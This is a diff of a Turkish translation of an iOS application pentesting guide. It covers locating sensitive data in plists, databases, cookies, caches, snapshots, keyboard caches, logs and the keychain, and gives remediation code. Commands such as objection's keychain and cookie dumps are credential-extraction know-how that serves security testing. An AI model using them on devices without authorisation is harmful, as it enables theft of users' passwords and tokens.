iGoat-Swift'in Uygulama Paketi (.app) dizinine (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`) daha yakından bakalım: iGoat-Swift'in Uygulama Paketi (.app) dizinine Bundle dizini içinde (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`) daha yakından bakalım:
```bash ```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType Perms NSFileProtection ... Name NSFileType Perms NSFileProtection ... Name
@ -301,7 +301,7 @@ DVIA-v2:
``` ```
**Uygulamanın şifrelenip şifrelenmediğini kontrol edin** **Uygulamanın şifrelenip şifrelenmediğini kontrol edin**
Aşağıdaki komutu kullanarak çıktı olup olmadığını kontrol edin: Aşağıdaki çıktıyı kontrol edin:
```bash ```bash
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
``` ```
@ -335,7 +335,7 @@ data 0x1003de748
flags 0x80 flags 0x80
instanceStart 8 instanceStart 8
``` ```
Kodun daha kompakt hale gelmesi için [**class-dump**](http://stevenygard.com/projects/class-dump/) kullanabilirsiniz: Kodun daha kompakt hale getirilmesi için [**class-dump**](http://stevenygard.com/projects/class-dump/) kullanılabilir:
```bash ```bash
class-dump some-app class-dump some-app
// //
@ -361,26 +361,26 @@ double _field1;
double _field2; double _field2;
}; };
``` ```
Ancak, binary dosyasını çözmek için en iyi seçenekler: [**Hopper**](https://www.hopperapp.com/download.html?) ve [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/). Ancak, ikili dosyayı çözümlemek için en iyi seçenekler: [**Hopper**](https://www.hopperapp.com/download.html?) ve [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve **otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Veri Depolama ## Veri Depolama
iOS'un cihazda veri depolama hakkında bilgi edinmek için bu sayfayı okuyun: iOS'un cihazda veri depolama yöntemlerini öğrenmek için bu sayfayı okuyun:
{% content-ref url="ios-basics.md" %} {% content-ref url="ios-basics.md" %}
[ios-basics.md](ios-basics.md) [ios-basics.md](ios-basics.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="warning" %} {% hint style="warning" %}
Uygulama **kurulduktan hemen sonra**, uygulamanın tüm işlevleri kontrol edildikten sonra ve hatta **bir kullanıcıdan çıkıp farklı bir kullanıcıya giriş yapıldıktan sonra** bilgi depolama yerleri kontrol edilmelidir.\ Uygulama **kurulduktan hemen sonra**, uygulamanın **tüm işlevleri kontrol edildikten sonra** ve hatta **bir kullanıcıdan çıkıp farklı bir kullanıcıya giriş yaptıktan sonra** bilgi depolama yerleri kontrol edilmelidir.\
Amaç, uygulamanın (şifreler, tokenlar), mevcut kullanıcının ve önceki oturum açmış kullanıcıların **korumasız hassas bilgilerini** bulmaktır. Amaç, uygulamanın (şifreler, tokenlar), mevcut kullanıcının ve önceki oturum açmış kullanıcıların **korumasız hassas bilgilerini** bulmaktır.
{% endhint %} {% endhint %}
@ -388,13 +388,13 @@ Amaç, uygulamanın (şifreler, tokenlar), mevcut kullanıcının ve önceki otu
**plist** dosyaları, **anahtar-değer çiftlerini içeren yapılandırılmış XML dosyalarıdır**. Kalıcı verileri depolamanın bir yoludur, bu nedenle bazen bu dosyalarda **hassas bilgiler bulabilirsiniz**. Bu dosyaların, uygulamayı yükledikten ve yoğun bir şekilde kullandıktan sonra kontrol edilmesi önerilir. **plist** dosyaları, **anahtar-değer çiftlerini içeren yapılandırılmış XML dosyalarıdır**. Kalıcı verileri depolamanın bir yoludur, bu nedenle bazen bu dosyalarda **hassas bilgiler bulabilirsiniz**. Bu dosyaların, uygulamayı yükledikten ve yoğun bir şekilde kullandıktan sonra kontrol edilmesi önerilir.
Plist dosyalarında veri saklamanın en yaygın yolu, **NSUserDefaults**'un kullanılmasıdır. Bu plist dosyası, **`Library/Preferences/<appBundleID>.plist`** içinde uygulama sandbox'ında kaydedilir. Plist dosyalarında veri saklamanın en yaygın yolu, **NSUserDefaults**'un kullanımıyla gerçekleşir. Bu plist dosyası, **`Library/Preferences/<appBundleID>.plist`** içinde uygulama sandbox'ında kaydedilir.
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) sınıfı, varsayılan sistemle etkileşim için programatik bir arayüz sağlar. Varsayılan sistem, bir uygulamanın davranışını **kullanıcı tercihlerine** göre özelleştirmesine izin verir. `NSUserDefaults` tarafından kaydedilen veriler, uygulama paketinde görüntülenebilir. Bu sınıf, **veriyi** bir **plist** **dosyasında** saklar, ancak küçük miktarlarda veriyle kullanılması amaçlanmıştır. [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) sınıfı, varsayılan sistemle etkileşim için programatik bir arayüz sağlar. Varsayılan sistem, bir uygulamanın davranışını **kullanıcı tercihlerine** göre özelleştirmesine izin verir. `NSUserDefaults` tarafından kaydedilen veriler, uygulama paketi içinde görülebilir. Bu sınıf, **veriyi** bir **plist** **dosyasında** saklar, ancak küçük miktarlarda veriyle kullanılması amaçlanmıştır.
Bu verilere doğrudan güvenilir bir bilgisayardan erişilemez, ancak bir **yedekleme** yaparak erişilebilir. Bu veri doğrudan güvenilir bir bilgisayardan erişilemez, ancak bir **yedekleme** yaparak erişilebilir.
`NSUserDefaults` kullanılarak kaydedilen bilgileri **`NSUserDefaults`** kullanarak çözebilirsiniz. `NSUserDefaults` kullanılarak kaydedilen bilgileri objection'ın `ios nsuserdefaults get` komutunu kullanarak **dökümleyebilirsiniz**.
Uygulama tarafından kullanılan tüm plist dosyalarını bulmak için `/private/var/mobile/Containers/Data/Application/{APPID}` dizinine erişebilir ve şunu çalıştırabilirsiniz: Uygulama tarafından kullanılan tüm plist dosyalarını bulmak için `/private/var/mobile/Containers/Data/Application/{APPID}` dizinine erişebilir ve şunu çalıştırabilirsiniz:
```bash ```bash
@ -402,7 +402,7 @@ find ./ -name "*.plist"
``` ```
**XML veya ikili (bplist) formatındaki dosyaları XML'e dönüştürmek için, işletim sisteminize bağlı olarak çeşitli yöntemler mevcuttur:** **XML veya ikili (bplist) formatındaki dosyaları XML'e dönüştürmek için, işletim sisteminize bağlı olarak çeşitli yöntemler mevcuttur:**
**MacOS Kullanıcıları için:** `plutil` komutunu kullanın. Bu amaçla tasarlanmış olan macOS'ta (10.2+), yerleşik bir araçtır. **MacOS Kullanıcıları için:** `plutil` komutunu kullanın. Bu amaçla tasarlanmış olan macOS'ta (10.2+) yerleşik bir araçtır.
```bash ```bash
$ plutil -convert xml1 Info.plist $ plutil -convert xml1 Info.plist
``` ```
@ -411,7 +411,7 @@ $ plutil -convert xml1 Info.plist
$ apt install libplist-utils $ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist $ plistutil -i Info.plist -o Info_xml.plist
``` ```
**Objection Oturumu İçinde:** Mobil uygulamaları analiz etmek için belirli bir komut, plist dosyalarını doğrudan dönüştürmenize olanak tanır: **Objection Oturumu İçinde:** Mobil uygulamaları analiz etmek için belirli bir komut, plist dosyalarını doğrudan dönüştürmenizi sağlar:
```bash ```bash
ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist
``` ```
@ -457,7 +457,7 @@ Yap veritabanları sqlite veritabanları olduğundan, bunları önceki bölümde
### Diğer SQLite Veritabanları ### Diğer SQLite Veritabanları
Uygulamaların kendi sqlite veritabanlarını oluşturması yaygındır. Bu veritabanlarında **duyarlı veriler** saklayabilir ve bunları şifrelememiş olarak bırakabilirler. Bu nedenle, her veritabanını uygulamanın dizininde kontrol etmek her zaman ilginç olacaktır. Bu nedenle, verilerin kaydedildiği uygulama dizinine gidin (`/private/var/mobile/Containers/Data/Application/{APPID}`). Uygulamaların kendi sqlite veritabanlarını oluşturması yaygındır. Bu veritabanlarında **duyarlı veriler** saklayabilir ve bunları şifrelemeden bırakabilirler. Bu nedenle, her uygulama dizini içindeki her veritabanını kontrol etmek her zaman ilginç olacaktır. Bu nedenle, verilerin kaydedildiği uygulama dizinine gidin (`/private/var/mobile/Containers/Data/Application/{APPID}`).
```bash ```bash
find ./ -name "*.sqlite" -or -name "*.db" find ./ -name "*.sqlite" -or -name "*.db"
``` ```
@ -465,7 +465,7 @@ find ./ -name "*.sqlite" -or -name "*.db"
Geliştiricilere Firebase Gerçek Zamanlı Veritabanları aracılığıyla **veri depolama ve senkronizasyonu** imkanı sunulmaktadır. JSON formatında depolanan veriler, gerçek zamanlı olarak tüm bağlı istemcilere senkronize edilir. Geliştiricilere Firebase Gerçek Zamanlı Veritabanları aracılığıyla **veri depolama ve senkronizasyonu** imkanı sunulmaktadır. JSON formatında depolanan veriler, gerçek zamanlı olarak tüm bağlı istemcilere senkronize edilir.
Firebase veritabanlarında yanlış yapılandırılmış veritabanlar için nasıl kontrol yapılacağını buradan bulabilirsiniz: Firebase veritabanlarında yanlış yapılandırılmış veritabanlar için nasıl kontrol edileceğini buradan bulabilirsiniz:
{% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %} {% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %}
[firebase-database.md](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) [firebase-database.md](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
@ -498,7 +498,7 @@ fatalError("Error opening realm: \(error)")
``` ```
### Couchbase Lite Veritabanları ### Couchbase Lite Veritabanları
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios), **hafif** ve **yerleşik** bir veritabanı motoru olarak tanımlanmaktadır ve **belge odaklı** (NoSQL) yaklaşımı benimsemektedir. **iOS** ve **macOS** için yerel olarak tasarlanmış olup, verilerin senkronizasyonunu sorunsuz bir şekilde sağlar. [Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios), **hafif** ve **yerleşik** bir veritabanı motoru olarak tanımlanmaktadır ve **belge odaklı** (NoSQL) yaklaşımı benimsemektedir. **iOS** ve **macOS** için yerel olarak tasarlanmış olup, verilerin senkronizasyonunu sorunsuz bir şekilde sağlama kapasitesi sunar.
Bir cihazda potansiyel Couchbase veritabanlarını tanımlamak için aşağıdaki dizin incelenmelidir: Bir cihazda potansiyel Couchbase veritabanlarını tanımlamak için aşağıdaki dizin incelenmelidir:
```bash ```bash
@ -509,7 +509,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
iOS, uygulamaların çerezlerini her uygulamanın klasörü içindeki **`Library/Cookies/cookies.binarycookies`** içinde saklar. Bununla birlikte, geliştiriciler bazen bu çerezleri **anahtarlık** içinde saklamayı tercih eder çünkü bahsi geçen **çerez dosyasına yedeklerden erişilebilir**. iOS, uygulamaların çerezlerini her uygulamanın klasörü içindeki **`Library/Cookies/cookies.binarycookies`** içinde saklar. Bununla birlikte, geliştiriciler bazen bu çerezleri **anahtarlık** içinde saklamayı tercih eder çünkü bahsi geçen **çerez dosyasına yedeklerden erişilebilir**.
Çerez dosyasını incelemek için [**bu python betiğini**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) kullanabilir veya objection'ın **`ios cookies get`** komutunu kullanabilirsiniz.\ Çerez dosyasını incelemek için [**bu python betiğini**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) kullanabilir veya objection'ın **`ios cookies get`** komutunu kullanabilirsiniz.\
**Ayrıca objection'ı kullanarak** bu dosyaları JSON formatına dönüştürebilir ve verileri inceleyebilirsiniz. **Ayrıca objection'ı** bu dosyaları JSON formatına dönüştürmek ve verileri incelemek için kullanabilirsiniz.
```bash ```bash
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json ...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
[ [
@ -527,29 +527,29 @@ iOS, uygulamaların çerezlerini her uygulamanın klasörü içindeki **`Library
``` ```
### Önbellek ### Önbellek
NSURLSession varsayılan olarak **HTTP isteklerini ve yanıtlarını Cache.db veritabanında** saklar. Bu veritabanı, eğer tokenlar, kullanıcı adları veya başka hassas bilgiler önbelleğe alındıysa **hassas veriler** içerebilir. Önbelleğe alınan bilgileri bulmak için uygulamanın veri dizinine (`/var/mobile/Containers/Data/Application/<UUID>`) gidin ve `/Library/Caches/<Bundle Identifier>` yolunu izleyin. **WebKit önbelleği de Cache.db dosyasında saklanmaktadır**. **Objection**, bu dosyayla `sqlite connect Cache.db` komutuyla etkileşime girebilir, çünkü bu **normal bir SQLite veritabanıdır**. Varsayılan olarak NSURLSession, **HTTP isteklerini ve yanıtlarını Cache.db** veritabanında saklar. Bu veritabanı, **token'lar, kullanıcı adları veya başka hassas bilgiler** önbelleğe alındıysa hassas veriler içerebilir. Önbelleğe alınan bilgileri bulmak için uygulamanın veri dizinine (`/var/mobile/Containers/Data/Application/<UUID>`) gidin ve `/Library/Caches/<Bundle Identifier>` dizinine gidin. **WebKit önbelleği de Cache.db** dosyasında saklanmaktadır. **Objection**, bu veritabanıyla etkileşime girmek için `sqlite connect Cache.db` komutunu kullanabilir, çünkü bu **normal bir SQLite veritabanıdır**.
Bu verilerin **önbelleğe alınmasının devre dışı bırakılması önerilir**, çünkü istekte veya yanıtta hassas bilgiler içerebilir. Aşağıdaki liste, bunu başarmanın farklı yollarını göstermektedir: Bu verilerin **önbelleğe alınmasının devre dışı bırakılması önerilir**, çünkü istekte veya yanıtta hassas bilgiler içerebilir. Aşağıdaki liste, bunu başarmanın farklı yollarını göstermektedir:
1. Oturum kapatıldıktan sonra önbelleğe alınan yanıtların kaldırılması önerilir. Apple'ın sağladığı [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) adlı yöntemle bunu yapabilirsiniz. Bu yöntemi aşağıdaki gibi çağırabilirsiniz: 1. Oturum kapatıldıktan sonra önbelleğe alınan yanıtların kaldırılması önerilir. Apple'ın sağladığı [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) yöntemi ile bunu yapabilirsiniz. Bu yöntemi aşağıdaki gibi çağırabilirsiniz:
`URLCache.shared.removeAllCachedResponses()` `URLCache.shared.removeAllCachedResponses()`
Bu yöntem, Cache.db dosyasındaki tüm önbelleğe alınan istekleri ve yanıtları kaldıracaktır. Bu yöntem, Cache.db dosyasından tüm önbelleğe alınan istekleri ve yanıtları kaldıracaktır.
2. Çerezlerin avantajından faydalanmanıza gerek yoksa, URLSession'ın [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) yapılandırma özelliğini kullanmanız önerilir, bu da çerezleri ve önbelleği kaydetmeyi devre dışı bırakacaktır. 2. Çerezlerin avantajından faydalanmanıza gerek yoksa, URLSession'ın [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) yapılandırma özelliğini kullanmanız önerilir, bu da çerezleri ve önbellekleri devre dışı bırakacaktır.
[Apple belgeleri](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral): [Apple belgeleri](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
`Bir geçici oturum yapılandırma nesnesi, varsayılan bir oturum yapılandırmasıyla (bkz. varsayılan) benzerdir, ancak karşılık gelen oturum nesnesi önbellekleri, kimlik bilgisi depolarını veya diske herhangi bir oturumla ilgili veriyi depolamaz. Bunun yerine, oturumla ilgili veriler RAM'de depolanır. Bir geçici oturumun verileri diske yazdığı tek zaman, bir URL'nin içeriğini bir dosyaya yazmasını söylediğinizde olur.` `Bir geçici oturum yapılandırma nesnesi, varsayılan bir oturum yapılandırmasıyla (bkz. varsayılan) benzerdir, ancak karşılık gelen oturum nesnesi önbellekleri, kimlik bilgisi depolarını veya herhangi bir diskle ilgili oturum verilerini saklamaz. Bunun yerine, oturumla ilgili veriler RAM'de saklanır. Bir geçici oturumun verileri diske yazdığı tek zaman, bir URL'nin içeriğini bir dosyaya yazmasını söylediğinizde olur.`
3. Önbellek, [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed) önbellek politikasına ayarlanarak da devre dışı bırakılabilir. Bu, önbelleğin hafızada veya diske herhangi bir şekilde saklanmasını devre dışı bırakacaktır. 3. Önbellek, [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed) Önbellek Politikası'na ayarlanarak da devre dışı bırakılabilir. Bu, önbelleğin hafızada veya diskte herhangi bir şekilde saklanmasını devre dışı bırakacaktır.
### Anlık Görüntüler ### Anlık Görüntüler
Ev düğmesine bastığınızda, iOS **mevcut ekranın bir anlık görüntüsünü alır** ve uygulamaya geçişi çok daha sorunsuz hale getirmek için kullanır. Ancak, eğer mevcut ekranda **hassas veriler** varsa, bu veriler **resimde saklanır** (bu, **yeniden başlatmalara karşın kalıcıdır**). Bu, uygulamalar arasında geçiş yapmak için ev ekranına çift dokunarak erişebileceğiniz anlık görüntülerdir. Ana ekran düğmesine bastığınızda, iOS **mevcut ekranın bir anlık görüntüsünü alır** ve uygulamaya geçişi çok daha sorunsuz hale getirmek için kullanır. Ancak, mevcut ekranda **hassas veriler** varsa, bu veriler **resimde saklanır** (bu, **yeniden başlatmalara karşın kalıcıdır**). Bu, uygulamalar arasında geçiş yapmak için ana ekranı çift dokunarak erişebileceğiniz anlık görüntülerdir.
iPhone jailbreak yapılmamışsa, **saldırganın** bu ekran görüntülerini görmek için **cihaza erişimi** **engellenmemiş** olmalıdır. Varsayılan olarak, son anlık görüntü uygulamanın sandbox'ında `Library/Caches/Snapshots/` veya `Library/SplashBoard/Snapshots` klasöründe saklanır (güvenilir bilgisayarlar iOX 7.0'dan itibaren dosya sistemine erişemez). iPhone jailbreak yapılmamışsa, **saldırganın** bu ekran görüntülerini görmek için cihaza **erişime** **ihtiyacı** **vardır** ve cihazın **kilitli olmaması** gerekir. Varsayılan olarak, son anlık görüntü uygulamanın sandbox'ında `Library/Caches/Snapshots/` veya `Library/SplashBoard/Snapshots` klasöründe saklanır (güvenilir bilgisayarlar iOX 7.0'dan itibaren dosya sistemine erişemez).
Bu kötü davranışı önlemenin bir yolu, anlık görüntü almadan önce duyarlı verileri kaldırmak veya bir boş ekran kullanmaktır, bunu `ApplicationDidEnterBackground()` işlevini kullanarak yapabilirsiniz. Bu kötü davranışı önlemenin bir yolu, anlık görüntü almadan önce duyarlı verileri kaldırmak veya bir boş ekran eklemektir, bunu `ApplicationDidEnterBackground()` işlevini kullanarak yapabilirsiniz.
Aşağıdaki, varsayılan bir ekran görüntüsü ayarlayan örnek bir düzeltme yöntemidir. Aşağıdaki, varsayılan bir ekran görüntüsü ayarlayan örnek bir düzeltme yöntemidir.
@ -569,6 +569,8 @@ backgroundImage?.removeFromSuperview()
} }
``` ```
**Objective-C:** **Objective-C:**
Objective-C, Apple'ın geliştirdiği bir programlama dilidir ve iOS uygulamaları genellikle bu dil kullanılarak geliştirilir. Bu dil, iOS uygulamalarının iç yapısını anlamak ve güvenlik açıklarını tespit etmek için önemli bir bilgidir.
``` ```
@property (UIImageView *)backgroundImage; @property (UIImageView *)backgroundImage;
@ -583,17 +585,17 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.backgroundImage removeFromSuperview]; [self.backgroundImage removeFromSuperview];
} }
``` ```
### Arka Plan Resmi Ayarı ### Arka Plan Görüntüsü
Uygulama arka planda çalıştığında `overlayImage.png` dosyasını arka plan resmi olarak ayarlar. Bu, `overlayImage.png` dosyasının her zaman mevcut görünümü geçersiz kılacağından hassas veri sızıntılarını önler. Uygulama arka plana alındığında arka plan görüntüsü `overlayImage.png` olarak ayarlanır. Bu, hassas veri sızıntılarını önler çünkü `overlayImage.png` her zaman mevcut görünümü geçersiz kılar.
### Keychain ### Anahtarlık
iOS anahtar zincirine erişmek ve yönetmek için, jailbreak yapılmış cihazlar için uygun olan [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) gibi araçlar mevcuttur. Ayrıca, benzer amaçlar için [**Objection**](https://github.com/sensepost/objection) `ios keychain dump` komutunu sağlar. iOS anahtarlığına erişmek ve yönetmek için, jailbreak yapılmış cihazlar için uygun olan [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) gibi araçlar mevcuttur. Ayrıca, benzer amaçlar için [**Objection**](https://github.com/sensepost/objection) `ios keychain dump` komutunu sağlar.
#### **Kimlik Bilgilerini Saklama** #### **Kimlik Bilgilerini Saklama**
**NSURLCredential** sınıfı, hassas bilgileri doğrudan anahtar zincirine kaydetmek için idealdir ve NSUserDefaults veya diğer sarmallara gerek kalmadan kullanılır. Giriş yaptıktan sonra kimlik bilgilerini saklamak için aşağıdaki Swift kodu kullanılır: **NSURLCredential** sınıfı, hassas bilgileri doğrudan anahtarlıkta saklamak için idealdir, NSUserDefaults veya diğer sarmalayıcılar gerekmeden. Giriş yaptıktan sonra kimlik bilgilerini saklamak için aşağıdaki Swift kodu kullanılır:
```swift ```swift
NSURLCredential *credential; NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent]; credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
@ -608,30 +610,30 @@ iOS 8.0'dan itibaren kullanıcılar, **Ayarlar > Genel > Klavye > Klavyeler** al
**Güvenlik Önerileri:** **Güvenlik Önerileri:**
* Güvenliği artırmak için üçüncü taraf klavyelerin devre dışı bırakılması önerilir. * Güvenliği artırmak için üçüncü taraf klavyelerin devre dışı bırakılması önerilir.
* iOS'un varsayılan klavyesinin otomatik düzeltme ve otomatik öneriler özelliklerine dikkat edilmelidir, çünkü bu özellikler hassas bilgileri `Library/Keyboard/{locale}-dynamic-text.dat` veya `/private/var/mobile/Library/Keyboard/dynamic-text.dat` konumunda bulunan önbellek dosyalarına kaydedebilir. Bu önbellek dosyaları düzenli olarak hassas veriler açısından kontrol edilmelidir. Önbellek verilerini temizlemek için **Ayarlar > Genel > Sıfırla > Klavye Sözlüğünü Sıfırla** üzerinden klavye sözlüğünü sıfırlamak önerilir. * iOS'un varsayılan klavyesinin otomatik düzeltme ve otomatik öneriler özelliklerine dikkat edilmelidir, çünkü bu özellikler hassas bilgileri `Library/Keyboard/{locale}-dynamic-text.dat` veya `/private/var/mobile/Library/Keyboard/dynamic-text.dat` konumunda bulunan önbellek dosyalarına kaydedebilir. Bu önbellek dosyaları düzenli olarak hassas veriler açısından kontrol edilmelidir. Önbellek verilerini temizlemek için **Ayarlar > Genel > Sıfırla > Klavye Sözlüğünü Sıfırla** üzerinden klavye sözlüğünün sıfırlanması önerilir.
* Ağ trafiğinin dinlenmesi, özel bir klavyenin tuş vuruşlarını uzaktan iletip iletemediğini ortaya çıkarabilir. * Ağ trafiğinin dinlenmesi, özel bir klavyenin tuş vuruşlarını uzaktan iletip iletemediğini ortaya çıkarabilir.
### **Metin Alanı Önbelleğini Önleme** ### **Metin Alanı Önbelleğini Önleme**
[UITextInputTraits protokolü](https://developer.apple.com/reference/uikit/uitextinputtraits), otomatik düzeltme ve güvenli metin girişini yönetmek için gerekli olan özellikleri sunar ve hassas bilgi önbelleğini önlemek için esastır. Örneğin, otomatik düzeltmeyi devre dışı bırakma ve güvenli metin girişini etkinleştirme şu şekilde gerçekleştirilebilir: [UITextInputTraits protokolü](https://developer.apple.com/reference/uikit/uitextinputtraits), otomatik düzeltme ve güvenli metin girişini yönetmek için özellikler sunar ve hassas bilgi önbelleğini önlemek için esastır. Örneğin, otomatik düzeltmeyi devre dışı bırakma ve güvenli metin girişini etkinleştirme şu şekilde gerçekleştirilebilir:
```objectivec ```objectivec
textObject.autocorrectionType = UITextAutocorrectionTypeNo; textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES; textObject.secureTextEntry = YES;
``` ```
Ek olarak, geliştiriciler metin alanlarının, özellikle şifreler ve PIN'ler gibi hassas bilgilerin girildiği alanların önbelleğe alınmasını engellemek için `autocorrectionType`'ı `UITextAutocorrectionTypeNo` olarak ve `secureTextEntry`'i `YES` olarak ayarlayarak güvence altına almalıdır. Ek olarak, geliştiriciler, özellikle şifreler ve PIN'ler gibi hassas bilgilerin girildiği metin alanlarının önbelleğe alınmasını engellemek için `autocorrectionType`'ı `UITextAutocorrectionTypeNo` ve `secureTextEntry`'i `YES` olarak ayarlayarak güvence altına almalıdır.
```objectivec ```objectivec
UITextField *textField = [[UITextField alloc] initWithFrame:frame]; UITextField *textField = [[UITextField alloc] initWithFrame:frame];
textField.autocorrectionType = UITextAutocorrectionTypeNo; textField.autocorrectionType = UITextAutocorrectionTypeNo;
``` ```
## **Kayıtlar** ## **Kayıtlar**
Hata ayıklama kodu genellikle **günlüğü kullanmayı** gerektirir. **Kayıtlar hassas bilgiler içerebileceğinden risk içerir**. Daha önce, iOS 6 ve önceki sürümlerinde, günlüklere tüm uygulamalar erişebiliyordu, bu da hassas veri sızıntısı riski oluşturuyordu. **Şimdi, uygulamalar yalnızca kendi günlüklerine erişebilirler**. Hata ayıklama kodu genellikle **günlüğü kullanmayı** içerir. **Kayıtlar hassas bilgiler içerebileceğinden risk içerir**. Daha önce, iOS 6 ve önceki sürümlerinde, günlükler tüm uygulamalara erişilebilirdi ve hassas veri sızıntısı riski oluşturuyordu. **Şimdi, uygulamalar yalnızca kendi günlüklerine erişebilirler**.
Bu kısıtlamalara rağmen, **kilitli bir cihaza fiziksel erişimi olan bir saldırgan**, cihazı bir bilgisayara bağlayarak bu durumu hala sömürebilir ve **kayıtları okuyabilir**. Kayıtların uygulamanın kaldırılmasından sonra bile diske kalması önemlidir. Bu kısıtlamalara rağmen, **kilitli bir cihaza fiziksel erişimi olan bir saldırgan**, cihazı bir bilgisayara bağlayarak bu durumu hala sömürebilir ve **kayıtları okuyabilir**. Kayıtların uygulamanın kaldırılmasından sonra bile diske kaydedildiğini unutmamak önemlidir.
Riskleri azaltmak için, uygulama ile **etkileşimi detaylı bir şekilde** incelemek, tüm işlevlerini ve girdilerini keşfetmek ve yanlışlıkla hassas bilgilerin kaydedilmediğinden emin olmak önerilir. Riskleri azaltmak için, uygulama ile **detaylı etkileşimde bulunmanız**, tüm işlevlerini ve girdilerini keşfetmeniz ve yanlışlıkla hassas bilgilerin kaydedilmediğinden emin olmanız önerilir.
Potansiyel sızıntılar için uygulamanın kaynak kodunu inceleyerek, `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` gibi yerleşik işlevler için **önceden tanımlanmış** ve özel günlükleme ifadeleri için `Logging` veya `Logfile` gibi anahtar kelimeleri arayın. Potansiyel sızıntılar için uygulamanın kaynak kodunu inceleyerek, `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` gibi yerleşik işlevler için hem **önceden tanımlanmış** hem de **özel günlükleme ifadelerini** ve özel uygulamalar için `Logging` veya `Logfile` gibi anahtar kelimeleri arayın.
### **Sistem Kayıtlarını İzleme** ### **Sistem Kayıtlarını İzleme**
@ -644,12 +646,12 @@ Ayrıca, **Xcode** konsol log'larını toplamanın bir yolunu sağlar:
1. Xcode'u açın. 1. Xcode'u açın.
2. iOS cihazını bağlayın. 2. iOS cihazını bağlayın.
3. **Window** -> **Devices and Simulators**'e gidin. 3. **Window** -> **Devices and Simulators**'a gidin.
4. Cihazınızı seçin. 4. Cihazınızı seçin.
5. Araştırdığınız sorunu tetikleyin. 5. Araştırdığınız sorunu tetikleyin.
6. Logları yeni bir pencerede görüntülemek için **Open Console** düğmesini kullanın. 6. Logları yeni bir pencerede görüntülemek için **Open Console** düğmesini kullanın.
Daha gelişmiş loglama için, cihaz kabuğuna bağlanmak ve **socat** kullanarak gerçek zamanlı log izleme sağlayabilir. Daha gelişmiş loglama için, cihaz kabuğuna bağlanmak ve **socat** kullanarak gerçek zamanlı log izleme sağlamak mümkündür:
```bash ```bash
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
``` ```
@ -657,7 +659,7 @@ Log aktivitelerini gözlemlemek için kullanılan komutlar, sorunları teşhis e
*** ***
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
